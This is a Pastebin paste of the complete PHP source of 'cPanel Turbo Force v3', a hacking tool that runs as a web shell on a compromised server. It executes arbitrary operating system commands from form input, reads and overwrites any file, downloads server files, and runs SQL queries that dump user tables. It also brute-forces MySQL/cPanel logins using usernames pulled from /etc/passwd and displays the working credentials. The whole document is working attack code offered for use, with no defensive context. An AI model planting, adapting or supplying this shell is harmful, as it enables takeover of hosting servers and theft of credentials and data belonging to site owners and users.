API tools faq
paste
Advertisement
Guest User

Untitled

a guest
Jul 22nd, 2017
480
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 24.19 KB | None | 0 0
raw download clone embed print report
  1. <html>
  2.  
  3. <head>
  4. <title>cPanel Turbo Force v3</title>
  5. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  6. <?php
  7. /*
  8. Turbo Force V3 By SaQEeR aL jNoOoB
  9. */
  10. @set_time_limit(0);
  11. @error_reporting(0);
  12.  
  13.  
  14. echo '<head>
  15.  
  16. <style type="text/css">
  17. <!--
  18. body {
  19. background-color: #000000;
  20. font-size: 18px;
  21. color: #cccccc;
  22. }
  23. input,textarea,select{
  24. font-weight: bold;
  25. color: #cccccc;
  26. dashed #ffffff;
  27. border: 1px
  28. solid #2C2C2C;
  29. background-color: #080808
  30. }
  31. a {
  32. background-color: #151515;
  33. vertical-align: bottom;
  34. color: #000;
  35. text-decoration: none;
  36. font-size: 20px;
  37. margin: 8px;
  38. padding: 6px;
  39. border: thin solid #000;
  40. }
  41. a:hover {
  42. background-color: #080808;
  43. vertical-align: bottom;
  44. color: #333;
  45. text-decoration: none;
  46. font-size: 20px;
  47. margin: 8px;
  48. padding: 6px;
  49. border: thin solid #000;
  50. }
  51. .style1 {
  52. text-align: center;
  53. }
  54. .style2 {
  55. color: #FFFFFF;
  56. font-weight: bold;
  57. }
  58. .style3 {
  59. color: #FFFFFF;
  60. }
  61. -->
  62. </style>
  63.  
  64. </head>
  65. ';
  66.  
  67.  
  68. function in($type,$name,$size,$value,$checked=0)
  69. {
  70. $ret = "<input type=".$type." name=".$name." "; if($size != 0)
  71. {
  72. $ret .= "size=".$size." "; }
  73. $ret .= "value=\"".$value."\""; if($checked) $ret .= " checked"; return $ret.">"; }
  74.  
  75. class my_sql
  76. {
  77. var $host = 'localhost'; var $port = ''; var $user = ''; var $pass = ''; var $base = ''; var $db = ''; var $connection; var $res; var $error; var $rows; var $columns; var $num_rows; var $num_fields; var $dump; function connect()
  78. {
  79. switch($this->db)
  80. {
  81. case 'MySQL': if(empty($this->port))
  82. {
  83. $this->port = '3306'; }
  84. if(!function_exists('mysql_connect')) return 0; $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass); if(is_resource($this->connection)) return 1; $this->error = @mysql_errno()." : ".@mysql_error(); break; case 'MSSQL': if(empty($this->port))
  85. {
  86. $this->port = '1433'; }
  87. if(!function_exists('mssql_connect')) return 0; $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass); if($this->connection) return 1; $this->error = "Can't connect to server"; break; case 'PostgreSQL': if(empty($this->port))
  88. {
  89. $this->port = '5432'; }
  90. $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'"; if(!function_exists('pg_connect')) return 0; $this->connection = @pg_connect($str); if(is_resource($this->connection)) return 1; $this->error = @pg_last_error($this->connection); break; case 'Oracle': if(!function_exists('ocilogon')) return 0; $this->connection = @ocilogon($this->user, $this->pass, $this->base); if(is_resource($this->connection)) return 1; $error = @ocierror(); $this->error=$error['message']; break; }
  91. return 0; }
  92. function select_db()
  93. {
  94. switch($this->db)
  95. {
  96. case 'MySQL': if(@mysql_select_db($this->base,$this->connection)) return 1; $this->error = @mysql_errno()." : ".@mysql_error(); break; case 'MSSQL': if(@mssql_select_db($this->base,$this->connection)) return 1; $this->error = "Can't select database"; break; case 'PostgreSQL': return 1; break; case 'Oracle': return 1; break; }
  97. return 0; }
  98. function query($query)
  99. {
  100. $this->res=$this->error=''; switch($this->db)
  101. {
  102. case 'MySQL': if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection)))
  103. {
  104. $this->error = @mysql_error($this->connection); return 0; }
  105. else if(is_resource($this->res))
  106. {
  107. return 1; }
  108. return 2; break; case 'MSSQL': if(false===($this->res=@mssql_query($query,$this->connection)))
  109. {
  110. $this->error = 'Query error'; return 0; }
  111. else if(@mssql_num_rows($this->res) > 0)
  112. {
  113. return 1; }
  114. return 2; break; case 'PostgreSQL': if(false===($this->res=@pg_query($this->connection,$query)))
  115. {
  116. $this->error = @pg_last_error($this->connection); return 0; }
  117. else if(@pg_num_rows($this->res) > 0)
  118. {
  119. return 1; }
  120. return 2; break; case 'Oracle': if(false===($this->res=@ociparse($this->connection,$query)))
  121. {
  122. $this->error = 'Query parse error'; }
  123. else
  124. {
  125. if(@ociexecute($this->res))
  126. {
  127. if(@ocirowcount($this->res) != 0) return 2; return 1; }
  128. $error = @ocierror(); $this->error=$error['message']; }
  129. break; }
  130. return 0; }
  131. function get_result()
  132. {
  133. $this->rows=array(); $this->columns=array(); $this->num_rows=$this->num_fields=0; switch($this->db)
  134. {
  135. case 'MySQL': $this->num_rows=@mysql_num_rows($this->res); $this->num_fields=@mysql_num_fields($this->res); while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res))); @mysql_free_result($this->res); if($this->num_rows)
  136. {
  137. $this->columns = @array_keys($this->rows[0]); return 1;}
  138. break; case 'MSSQL': $this->num_rows=@mssql_num_rows($this->res); $this->num_fields=@mssql_num_fields($this->res); while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res))); @mssql_free_result($this->res); if($this->num_rows)
  139. {
  140. $this->columns = @array_keys($this->rows[0]); return 1;}
  141. ; break; case 'PostgreSQL': $this->num_rows=@pg_num_rows($this->res); $this->num_fields=@pg_num_fields($this->res); while(false !== ($this->rows[] = @pg_fetch_assoc($this->res))); @pg_free_result($this->res); if($this->num_rows)
  142. {
  143. $this->columns = @array_keys($this->rows[0]); return 1;}
  144. break; case 'Oracle': $this->num_fields=@ocinumcols($this->res); while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++; @ocifreestatement($this->res); if($this->num_rows)
  145. {
  146. $this->columns = @array_keys($this->rows[0]); return 1;}
  147. break; }
  148. return 0; }
  149. function dump($table)
  150. {
  151. if(empty($table)) return 0; $this->dump=array(); $this->dump[0] = '##'; $this->dump[1] = '## --------------------------------------- '; $this->dump[2] = '## Created: '.date ("d/m/Y H:i:s"); $this->dump[3] = '## Database: '.$this->base; $this->dump[4] = '## Table: '.$table; $this->dump[5] = '## --------------------------------------- '; switch($this->db)
  152. {
  153. case 'MySQL': $this->dump[0] = '## MySQL dump'; if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0; if(!$this->get_result()) return 0; $this->dump[] = $this->rows[0]['Create Table'].";"; $this->dump[] = '## --------------------------------------- '; if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++)
  154. {
  155. foreach($this->rows[$i] as $k=>$v)
  156. {
  157. $this->rows[$i][$k] = @mysql_real_escape_string($v);}
  158. $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; }
  159. break; case 'MSSQL': $this->dump[0] = '## MSSQL dump'; if($this->query('SELECT * FROM '.$table)!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++)
  160. {
  161. foreach($this->rows[$i] as $k=>$v)
  162. {
  163. $this->rows[$i][$k] = @addslashes($v);}
  164. $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; }
  165. break; case 'PostgreSQL': $this->dump[0] = '## PostgreSQL dump'; if($this->query('SELECT * FROM '.$table)!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++)
  166. {
  167. foreach($this->rows[$i] as $k=>$v)
  168. {
  169. $this->rows[$i][$k] = @addslashes($v);}
  170. $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; }
  171. break; case 'Oracle': $this->dump[0] = '## ORACLE dump'; $this->dump[] = '## under construction'; break; default: return 0; break; }
  172. return 1; }
  173. function close()
  174. {
  175. switch($this->db)
  176. {
  177. case 'MySQL': @mysql_close($this->connection); break; case 'MSSQL': @mssql_close($this->connection); break; case 'PostgreSQL': @pg_close($this->connection); break; case 'Oracle': @oci_close($this->connection); break; }
  178. }
  179. function affected_rows()
  180. {
  181. switch($this->db)
  182. {
  183. case 'MySQL': return @mysql_affected_rows($this->res); break; case 'MSSQL': return @mssql_affected_rows($this->res); break; case 'PostgreSQL': return @pg_affected_rows($this->res); break; case 'Oracle': return @ocirowcount($this->res); break; default: return 0; break; }
  184. }
  185. }
  186. if(!empty($_POST['cccc']) && $_POST['cccc']=="download_file" && !empty($_POST['d_name']))
  187. {
  188. if(!$file=@fopen($_POST['d_name'],"r"))
  189. {
  190. err(1,$_POST['d_name']); $_POST['cccc']=""; }
  191. else
  192. {
  193. @ob_clean(); $filename = @basename($_POST['d_name']); $filedump = @fread($file,@filesize($_POST['d_name'])); fclose($file); $content_encoding=$mime_type=''; compress($filename,$filedump,$_POST['compress']); if (!empty($content_encoding))
  194. {
  195. header('Content-Encoding: ' . $content_encoding); }
  196. header("Content-type: ".$mime_type); header("Content-disposition: attachment; filename=\"".$filename."\";"); echo $filedump; exit(); }
  197. }
  198. if(isset($_GET['phpinfo']))
  199. {
  200. echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); }
  201. if (!empty($_POST['cccc']) && $_POST['cccc']=="db_query")
  202. {
  203. echo $head; $sql = new my_sql(); $sql->db = $_POST['db']; $sql->host = $_POST['db_server']; $sql->port = $_POST['db_port']; $sql->user = $_POST['mysql_l']; $sql->pass = $_POST['mysql_p']; $sql->base = $_POST['mysql_db']; $querys = @explode(';',$_POST['db_query']); echo '<body bgcolor=#e4e0d8>'; if(!$sql->connect()) echo "<div align=center><font face=Verdana size=-2 color=red><b>".$sql->error."</b></font></div>"; else
  204. {
  205. if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=Verdana size=-2 color=red><b>".$sql->error."</b></font></div>"; else
  206. {
  207. foreach($querys as $num=>$query)
  208. {
  209. if(strlen($query)>5)
  210. {
  211. echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>"; switch($sql->query($query))
  212. {
  213. case '0': echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>"; break; case '1': if($sql->get_result())
  214. {
  215. echo "<table width=100%>"; foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES); $keys = @implode("&nbsp;</b></font></td><td bgcolor=#800000><font face=Verdana size=-2><b>&nbsp;", $sql->columns); echo "<tr><td bgcolor=#800000><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>"; for($i=0;$i<$sql->num_rows;$i++)
  216. {
  217. foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES); $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$sql->rows[$i]); echo '<tr><td><font face=Verdana size=-2>&nbsp;'.$values.'&nbsp;</font></td></tr>'; }
  218. echo "</table>"; }
  219. break; case '2': $ar = $sql->affected_rows()?($sql->affected_rows()):('0'); echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>"; break; }
  220. }
  221. }
  222. }
  223. }
  224. echo "<br><title>Turbo Force By Tryag</title><form name=form method=POST>";
  225. echo in('hidden','db',0,$_POST['db']); echo in('hidden','db_server',0,$_POST['db_server']); echo in('hidden','db_port',0,$_POST['db_port']); echo in('hidden','mysql_l',0,$_POST['mysql_l']); echo in('hidden','mysql_p',0,$_POST['mysql_p']); echo in('hidden','mysql_db',0,$_POST['mysql_db']); echo in('hidden','cccc',0,'db_query');
  226. echo "<div align=center>"; echo "<font face=Verdana size=-2><b>Base: </b><input type=text name=mysql_db value=\"".$sql->base."\"></font><br>"; echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>"; echo "</form>"; echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); }
  227.  
  228.  
  229.  
  230.  
  231.  
  232.  
  233.  
  234.  
  235.  
  236.  
  237.  
  238.  
  239.  
  240.  
  241.  
  242.  
  243.  
  244.  
  245.  
  246.  
  247.  
  248.  
  249.  
  250. function ccmmdd($ccmmdd2,$att)
  251. {
  252. global $ccmmdd2,$att;
  253. echo '
  254. <table style="width: 100%" class="style1" dir="rtl">
  255. <tr>
  256. <td class="style9"><strong>ãæÌÉ ÇáÃæãÑ</strong></td>
  257. </tr>
  258. <tr>
  259. <td class="style13">
  260. <form method="post">
  261. <select name="att" dir="rtl" style="height: 109px" size="6">
  262. ';
  263. if($_POST['att']==null)
  264. {
  265. echo ' <option value="system" selected="">system</option>';
  266. }else{
  267. echo " <option value='$_POST[att]' selected=''>$_POST[att]</option>
  268. <option value=system>system</option>
  269. ";
  270.  
  271.  
  272. }
  273.  
  274. echo '
  275. <option value="passthru">passthru</option>
  276. <option value="exec">exec</option>
  277. <option value="shell_exec">shell_exec</option>
  278. </select>
  279. <input name="page" value="ccmmdd" type="hidden"><br>
  280. <input dir="ltr" name="ccmmdd2" style="width: 173px" type="text" value="';if(!$_POST['ccmmdd2']){echo 'dir';}else{echo $_POST['ccmmdd2'];}echo '"><br>
  281. <input type="submit" value="ÊäÝíÐ">
  282. </form>
  283.  
  284. </td>
  285. </tr>
  286. <tr>
  287. <td class="style13">
  288. ';
  289.  
  290. if($_POST[att]=='system')
  291. {
  292. echo '
  293. <textarea dir="ltr" name="TextArea1" style="width: 745px; height: 204px">';
  294. system($_POST['ccmmdd2']);
  295. echo ' </textarea>';
  296.  
  297.  
  298. }
  299.  
  300. if($_POST[att]=='passthru')
  301. {
  302. echo '
  303. <textarea dir="ltr" name="TextArea1" style="width: 745px; height: 204px">';
  304. passthru($_POST['ccmmdd2']);
  305. echo ' </textarea>';
  306.  
  307.  
  308. }
  309.  
  310.  
  311.  
  312.  
  313.  
  314. if($_POST[att]=='exec')
  315. {
  316.  
  317. echo ' <textarea dir="ltr" name="TextArea1" style="width: 745px; height: 204px">';
  318. exec($_POST['ccmmdd2'],$res);
  319. echo $res = join("\n",$res);
  320. echo ' </textarea>';
  321.  
  322.  
  323. }
  324.  
  325.  
  326.  
  327.  
  328.  
  329.  
  330.  
  331. if($_POST[att]=='shell_exec')
  332. {
  333.  
  334. echo ' <textarea dir="ltr" name="TextArea1" style="width: 745px; height: 204px">';
  335. echo shell_exec($_POST['ccmmdd2']);
  336. echo ' </textarea>';
  337.  
  338.  
  339. }
  340. echo '
  341. </td>
  342. </tr>
  343. </table>
  344. ';
  345.  
  346. exit;
  347. }
  348.  
  349. if($_POST['page']=='edit')
  350. {
  351.  
  352. $code=@str_replace("\r\n","\n",$_POST['code']);
  353. $code=@str_replace('\\','',$code);
  354. $fp = fopen($pathclass, 'w');
  355. fwrite($fp,"$code");
  356. fclose($fp);
  357. echo "<center><b>OK Edit<br><br><br><br><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
  358. exit;
  359. }
  360.  
  361.  
  362.  
  363.  
  364.  
  365.  
  366.  
  367. if($_POST['page']=='show')
  368. {
  369. $pathclass =$_POST['pathclass'];
  370. echo '
  371. <form method="POST">
  372. <input type="hidden" name="page" value="edit">
  373. ';
  374.  
  375. $sahacker = fopen($pathclass, "rb");
  376. echo '<center>'.$pathclass.'<br><textarea dir="ltr" name="code" style="width: 845px; height: 404px">';
  377. $code = fread($sahacker, filesize($pathclass));
  378. echo $code =htmlspecialchars($code);
  379. echo '</textarea>';
  380. fclose($sahacker);
  381. echo '
  382. <br><input type="text" name="pathclass" value="'.$pathclass.'" style="width: 445px;">
  383. <br><strong><input type="submit" value="edit file">
  384. </form>
  385. ';
  386. exit;
  387. }
  388.  
  389.  
  390.  
  391.  
  392. if($_POST['page']=='ccmmdd')
  393. {
  394. echo ccmmdd($ccmmdd2,$att);
  395. exit;
  396. }
  397.  
  398.  
  399.  
  400.  
  401.  
  402.  
  403.  
  404.  
  405.  
  406.  
  407.  
  408.  
  409.  
  410.  
  411.  
  412.  
  413.  
  414.  
  415.  
  416.  
  417.  
  418.  
  419.  
  420.  
  421. if($_POST['page']=='find')
  422. {
  423. if(isset($_POST['usernames']) && isset($_POST['passwords']))
  424. {
  425. if($_POST['type'] == 'passwd'){
  426. $e = explode("\n",$_POST['usernames']);
  427. foreach($e as $value){
  428. $k = explode(":",$value);
  429. $username .= $k['0']." ";
  430. }
  431. }elseif($_POST['type'] == 'simple'){
  432. $username = str_replace("\n",' ',$_POST['usernames']);
  433. }
  434. $a1 = explode(" ",$username);
  435. $a2 = explode("\n",$_POST['passwords']);
  436. $id2 = count($a2);
  437. $ok = 0;
  438. foreach($a1 as $user )
  439. {
  440. if($user !== '')
  441. {
  442. $user=trim($user);
  443. for($i=0;$i<=$id2;$i++)
  444. {
  445. $pass = trim($a2[$i]);
  446. if(@mysql_connect('localhost',$user,$pass))
  447. {
  448. echo "SaQEeR~ username is ===> (<b><font color=green>$user</font></b>) Password is ===> (<b><font color=green>$pass</font></b>)<br />";
  449. $ok++;
  450. }
  451. }
  452. }
  453. }
  454. echo "<hr><b>You Found <font color=green>$ok</font> Cpanel By SaQEeR aL jNoOoB Script Name</b>";
  455. echo "<center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
  456. exit;
  457. }
  458. }
  459. ?>
  460.  
  461.  
  462.  
  463.  
  464. </head>
  465.  
  466.  
  467.  
  468.  
  469. <form method="POST" target="_blank">
  470. <strong>
  471. <input name="page" type="hidden" value="find">
  472. </strong>
  473. <table width="748" border="0" cellpadding="3" cellspacing="1" align="center">
  474. <tr>
  475. <td valign="top" bgcolor="#151515" height="67"><center><strong><img src="http://im26.gulfup.com/2012-05-07/1336413453971.png" /><br>
  476. </strong>
  477. <a href="mailto:h1h@hotmail.be" class="style2"><strong>Cpanel Brute By SaQEeR aL jNoOoB</strong></a></center></td>
  478. </tr>
  479. <tr>
  480. <td>
  481. <table width="109%" border="0" cellpadding="3" cellspacing="1" align="center">
  482. <td valign="top" bgcolor="#151515" class="style2" style="width: 19%" height="310">
  483. <strong><font size="4">User :</font></strong></td>
  484. <td valign="top" bgcolor="#151515" colspan="5" height="310"><strong><textarea cols="40" rows="10" name="usernames"></textarea></strong></td>
  485. </tr>
  486. <tr>
  487. <td valign="top" bgcolor="#151515" class="style2" style="width: 19%" height="263">
  488. <strong><font size="4">Pass :</font></strong></td>
  489. <td valign="top" bgcolor="#151515" colspan="5" height="263"><strong><textarea cols="40" rows="10" name="passwords"></textarea></strong></td>
  490. </tr>
  491. <tr>
  492. <td valign="top" bgcolor="#151515" class="style2" style="width: 19%" height="28">
  493. <strong><font size="4">Type :</font></strong></td>
  494. <td valign="top" bgcolor="#151515" colspan="5" height="28">
  495. <span class="style2"><strong><font size="4">Simple :</font> </strong> </span>
  496. <strong>
  497. <input type="radio" name="type" value="simple" checked="checked" class="style3"></strong>
  498. <font class="style2"><strong><font size="4">/etc/passwd :</font> </strong> </font>
  499. <strong>
  500. <input type="radio" name="type" value="passwd" class="style3"></strong><span class="style3"><strong>
  501. </strong>
  502. </span>
  503. </td>
  504. </tr>
  505. <tr>
  506. <td valign="top" bgcolor="#151515" style="width: 19%" height="32"></td>
  507. <td valign="top" bgcolor="#151515" colspan="5" height="32"><strong><input type="submit" value="start">
  508. </strong>
  509. </td>
  510. <tr>
  511. </form>
  512.  
  513. <td valign="top" colspan="6" height="26" bgcolor="#151515">
  514. <p align="center"><u><b><span id="result_box" class lang="en">
  515. <span class="hps"><font size="4">If you</font></span><font size="4">
  516. <span class="hps">want</span> <span class="hps">users to</span>
  517. <span class="hps">the server</span> <span class="hps">at the end of</span>
  518. </font><span class="hps"><font size="4">script</font></span></span></b></u></td>
  519.  
  520. <form method="POST" target="_blank">
  521. <strong>
  522. <input type="hidden" name="go" value="cmd_mysql">
  523. </strong>
  524. <tr>
  525. <td valign="top" bgcolor="#151515" class="style1" colspan="6" height="29"><strong>
  526. <font size="4">CMD MYSQL</font></strong></td>
  527. </tr>
  528. <tr>
  529. <td valign="top" bgcolor="#151515" style="width: 19%" height="29"><strong>
  530. <font size="4">user:</font></strong></td>
  531. <td valign="top" bgcolor="#151515" height="29" width="17%"><strong><input name="mysql_l" type="text"></strong></td>
  532. <td valign="top" bgcolor="#151515" height="29" width="10%"><strong>
  533. <font size="4">pass:</font></strong></td>
  534. <td valign="top" bgcolor="#151515" height="29" width="16%"><strong><input name="mysql_p" type="text"></strong></td>
  535. <td valign="top" bgcolor="#151515" height="29" width="12%"><strong>
  536. <font size="4">database:</font></strong></td>
  537. <td valign="top" bgcolor="#151515" height="29" width="20%"><strong><input name="mysql_db" type="text"></strong></td>
  538. </tr>
  539. <tr>
  540. <td valign="top" bgcolor="#151515" style="height: 25px; width: 19%;">
  541. <strong><font size="4">cmd</font><font size="4"> :</font></strong></td>
  542. <td valign="top" bgcolor="#151515" colspan="5" style="height: 25px">
  543. <strong>
  544. <textarea name="db_query" style="width: 353px; height: 89px">SHOW DATABASES;
  545. SHOW TABLES user_vb ;
  546. SELECT * FROM user;
  547. SELECT version();
  548. SELECT user();</textarea></strong></td>
  549. </tr>
  550. <tr>
  551. <td valign="top" bgcolor="#151515" style="width: 19%">&nbsp;</td>
  552. <td valign="top" bgcolor="#151515" colspan="5"><strong><input type="submit" value="run"></strong></td>
  553. </tr>
  554. <input name="db" value="MySQL" type="hidden">
  555. <input name="db_server" type="hidden" value="localhost">
  556. <input name="db_port" type="hidden" value="3306">
  557. <input name="cccc" type="hidden" value="db_query">
  558.  
  559. </form>
  560. <tr>
  561. <td valign="top" bgcolor="#151515" colspan="6">&nbsp;</td>
  562.  
  563.  
  564. </tr>
  565.  
  566. <form method="POST" target="_blank">
  567. <tr>
  568. <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>
  569. <font size="4">CMD
  570. system - passthru - exec - shell_exec</font></strong></td>
  571. </tr>
  572. <tr>
  573. <td valign="top" bgcolor="#151515" style="width: 19%"><strong>
  574. <font size="4">cmd :</font></strong></td>
  575. <td valign="top" bgcolor="#151515" colspan="5">
  576. <select name="att" dir="rtl" size="1">
  577. <?php
  578. if($_POST['att']==null)
  579. {
  580. echo ' <option value="system" selected="">system</option>';
  581. }else{
  582. echo " <option value='$_POST[att]' selected=''>$_POST[att]</option>
  583. <option value=system>system</option>
  584. ";
  585.  
  586.  
  587. }
  588. ?>
  589.  
  590. <option value="passthru">passthru</option>
  591. <option value="exec">exec</option>
  592. <option value="shell_exec">shell_exec</option>
  593. </select>
  594. <strong>
  595. <input name="page" type="hidden" value="ccmmdd">
  596. <input name="ccmmdd2" type="text" style="width: 284px" value="ls -la"></strong></td>
  597. </tr>
  598. <tr>
  599. <td valign="top" bgcolor="#151515" style="width: 19%">&nbsp;</td>
  600. <td valign="top" bgcolor="#151515" colspan="5"><strong><input type="submit" value="go"></strong></td>
  601. </tr>
  602. </form>
  603.  
  604. <form method="POST" target="_blank">
  605.  
  606. <tr>
  607. <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>
  608. <font size="4">Show
  609. File And Edit</font></strong></td>
  610. </tr>
  611. <tr>
  612. <td valign="top" bgcolor="#151515" style="width: 19%"><strong>
  613. <font size="4">Path :</font></strong></td>
  614. <td valign="top" bgcolor="#151515" colspan="5">
  615. <strong>
  616. <input name="pathclass" type="text" style="width: 284px" value="<?php echo realpath('')?>"></strong></td>
  617. </tr>
  618. <tr>
  619. <td valign="top" bgcolor="#151515" style="width: 19%">&nbsp;</td>
  620. <td valign="top" bgcolor="#151515" colspan="5"><strong><input type="submit" value="show"></strong></td>
  621. </tr>
  622. <input name="page" type="hidden" value="show">
  623. </form>
  624. <tr>
  625. <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>
  626. <font size="4">Info
  627. Security</font></strong></td>
  628. </tr>
  629. <tr>
  630. <td valign="top" bgcolor="#151515" style="width: 19%"><strong>
  631. <font size="4">Safe Mode</font></strong></td>
  632. <td valign="top" bgcolor="#151515" colspan="5">
  633. <strong>
  634. <?php
  635. $safe_mode = ini_get('safe_mode');
  636. if($safe_mode=='1')
  637. {
  638. echo 'ON';
  639. }else{
  640. echo 'OFF';
  641. }
  642.  
  643. ?>
  644. </strong>
  645. </td>
  646. </tr>
  647. <tr>
  648. <td valign="top" bgcolor="#151515" style="width: 19%"><strong>
  649. <font size="4">Function</font></strong></td>
  650. <td valign="top" bgcolor="#151515" colspan="5">
  651. <strong>
  652. <?php
  653. if(''==($func=@ini_get('disable_functions')))
  654. {
  655. echo "<font color=#00800F>No Security for Function</font></b>";
  656. }else{
  657. echo "<font color=red>$func</font></b>";
  658. }
  659. ?></strong></td>
  660. <tr>
  661. <td valign="top" bgcolor="#151515" style="width: 19%">&nbsp;</td>
  662. <td valign="top" bgcolor="#151515" colspan="5">&nbsp;</td>
  663. </table>
  664. </td>
  665. </tr>
  666. </table>
  667.  
  668.  
  669.  
  670.  
  671. <meta http-equiv="content-type" content="text/html; charset=UTF-8"></head><body></body></html>
  672.  
  673.  
  674.  
  675.  
  676.  
  677. <form style="border: 0px ridge #FFFFFF">
  678.  
  679.  
  680.  
  681.  
  682. <p align="center"></td>
  683. </tr><div align="center">
  684.  
  685. <tr>
  686.  
  687.  
  688.  
  689. <input type="submit" name="user" value="user"><option value="name"></select>
  690. </form>
  691.  
  692.  
  693. <div align="center">
  694. <table border="5" width="10%" bordercolorlight="#008000" bordercolordark="#006A00" height="100" cellspacing="5">
  695. <tr>
  696. <td bordercolorlight="#008000" bordercolordark="#006A00">
  697. <p align="left">
  698. <textarea method='POST' rows="25" name="S1" cols="16">
  699.  
  700.  
  701. <?php
  702.  
  703.  
  704.  
  705. if ($_GET['user'] )
  706.  
  707.  
  708. system('ls /var/mail');
  709.  
  710.  
  711.  
  712.  
  713.  
  714. for($uid=0;$uid<90000;$uid++){
  715.  
  716. }
  717.  
  718.  
  719.  
  720.  
  721. ?></textarea></table>
  722. <strong>
  723. <h3><font size="6" color="#333333">&lt; Coded By SaQEeR aL jNoOoB &gt;</font></h3>
  724. </strong>
  725. <p>&nbsp;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!